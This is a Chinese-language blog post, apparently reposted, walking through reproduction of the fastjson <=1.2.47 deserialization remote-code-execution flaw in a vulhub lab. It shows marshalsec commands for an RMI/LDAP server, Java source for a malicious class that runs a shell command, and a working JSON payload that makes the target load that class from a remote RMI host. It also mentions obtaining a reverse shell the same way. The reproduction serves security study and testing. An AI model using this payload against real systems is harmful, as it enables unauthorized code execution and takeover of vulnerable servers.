fastjson<=1.2.47反序列化漏洞復現


0x00:前言

這個漏洞爆出來之后本來一直打算挑時間去復現,后來一個朋友突然發來他們站點存在fastjson這個漏洞被白帽子發了報告。既然漏洞環境送上門來,我便打算直接下手試一試。在我的想象中當然是一發入魂回車shell(大霧),事實證明事情永遠不會這么簡單,我懷疑他們偷偷修復了這個漏洞因為我rmi服務器連響應都沒收到....因此我是基於P師傅的vulhub環境復現的。

0x01:環境准備

直接將github上的vulhub下載下來,進入fastjson漏洞環境目錄下,執行

dcoker-compose up -d

開啟環境

接着在自己的vps里開啟rmi或者ldap服務

推薦使用marshalsec快速開啟rmi或ldap服務

地址:

https://github.com/mbechler/marshalsec

下載marshalsec,使用maven編譯jar包

mvn clean package -DskipTests

 開啟rmi或ldap服務

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

 

這里的TouchFile是我編譯好的惡意類,將編譯好的TouchFile.class放在tomcat webapps/ROOT 目錄下,java源碼如下

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

開啟tomacat,確認可以訪問http://ip:8080/TouchFile.class

為什么要確認這一點呢,因為我一開始把class文件放在了webapps目錄下一直沒復現成功。后來我一看tomcat的access-log發現我rmi確實請求訪問惡意類了,但是是404...我一度懷疑人生了都...

0x02:攻擊

直接請求搭建好的漏洞環境,端口是8090 將方法改成POST

 payload:

    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:8088/TouchFile",
        "autoCommit":true
    }
}

 發送請求后,rmi服務器收到響應,遠程加載惡意類TouchFile.class

可以看到已成功執行touch /tmp/success

同理 反彈shell

 

0x03:一些坑點

因為之前的服務器到期了一直沒買新的,這次的vps是剛買的,買的阿里雲忘了配置防火牆了就很尷尬...rmi一開始沒收到請求我還很疑惑,結果我朋友問我你防火牆配置了嗎....

接着就是這個惡意類放置路徑的問題(我java實在是太菜了 這不是坑點 這是我太菜了)

最后就是rmi和ldap這種利用方式對版本是有要求的,它們分別在以下版本被修復

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM